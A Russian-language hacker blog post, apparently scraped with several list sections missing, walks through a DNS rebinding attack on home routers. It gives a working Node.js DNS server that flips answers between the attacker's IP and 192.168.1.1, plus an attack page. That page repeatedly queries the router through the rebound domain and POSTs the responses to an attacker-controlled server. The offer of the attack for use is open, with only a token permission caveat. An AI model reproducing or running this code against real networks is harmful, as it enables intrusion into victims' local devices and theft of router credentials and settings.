40
Йо, хакеры и любители поковыряться в сетях! Сегодня мы разберем олдскульную, но все еще мощную технику — DNS Rebinding. Это атака, которая позволяет обойти защиту браузера и добраться до устройств в локальной сети, таких как роутеры. Мы не только разберем теорию, но и сварганим рабочий скрипт на Node.js для подмены DNS-ответов. Готовы? Погнали!
Что такое DNS Rebinding и почему это опасно?
DNS Rebinding — это атака, которая использует уязвимость в работе DNS и политики Same-Origin в браузерах. Суть проста: ты заманиваешь жертву на свой сайт, а потом подменяешь DNS-ответы так, чтобы браузер думал, что твой домен — это IP-адрес устройства в локальной сети жертвы (например, роутера на 192.168.1.1). Браузер доверяет этому, и ты получаешь доступ к админке роутера прямо через браузер жертвы. А там уже можно вытащить пароли, настройки или даже запустить команды.
Почему это работает? Браузеры не проверяют, что IP-адрес, связанный с доменом, изменился после первой загрузки страницы. А многие роутеры в локалке не требуют повторной авторизации, если ты уже залогинился.
Опасность:
Как работает DNS Rebinding?
evil.com
) и настраиваешь свой DNS-сервер.Настраиваем атаку: пошаговый план
Шаг 1: Подготовка
Шаг 2: Пишем DNS-сервер на Node.js
Мы будем использовать библиотеку dnsd
для создания простого DNS-сервера, который динамически меняет IP-адреса в ответах.
Установка зависимостей
1 |
npm install dnsd |
Код DNS-сервера
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
const dnsd = require('dnsd'); const server = dnsd.createServer(handler); const port = 53; // DNS порт (нужны root-права на Linux) function handler(req, res) { const question = res.question[0]; const domain = question.name; if (domain === 'evil.com') { // Меняем IP в зависимости от времени или запросов const now = Date.now(); const ip = now % 10000 < 5000 ? 'your-public-ip' : '192.168.1.1'; console.log(`Returning IP: ${ip} for ${domain}`); res.answer.push({ name: domain, type: 'A', class: 'IN', ttl: 1, // Очень короткий TTL, чтобы заставить браузер запрашивать DNS снова address: ip }); } res.end(); } server.listen(port, '0.0.0.0'); console.log(`DNS server running on port ${port}`); |
Важно: Замени your-public-ip
на реальный IP своего сервера. Также для работы на порту 53 на Linux нужны root-права (sudo node script.js
).
Шаг 3: Веб-страница для атаки
Теперь создадим HTML-страницу, которая будет выполнять запросы к локальному устройству, как только DNS переключится на 192.168.1.1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
<!DOCTYPE html> <html> <head> <title>Evil Page</title> </head> <body> <h1>Загрузка...</h1> <script> function attack() { // Пробуем достучаться до админки роутера fetch('http://evil.com', { mode: 'no-cors' }) .then(response => response.text()) .catch(err => console.log('Error:', err)) .then(data => { // Отправляем полученные данные на наш сервер fetch('http://your-server.com/log', { method: 'POST', body: data }); }); } // Повторяем запросы каждые несколько секунд setInterval(attack, 2000); </script> </body> </html> |
Шаг 4: Запуск атаки
express
) и раздавай HTML-страницу.http://evil.com
).Лайфхаки и хитрости
Защита от DNS Rebinding
Чтобы не стать жертвой, вот пара советов:
Заключение
DNS Rebinding — это мощный инструмент, который показывает, как даже базовые протоколы вроде DNS можно использовать для атак. Мы собрали рабочий скрипт на Node.js и показали, как превратить теорию в практику. Теперь ты можешь протестировать эту технику (конечно, только на своих устройствах и с разрешения владельцев сети, правда?).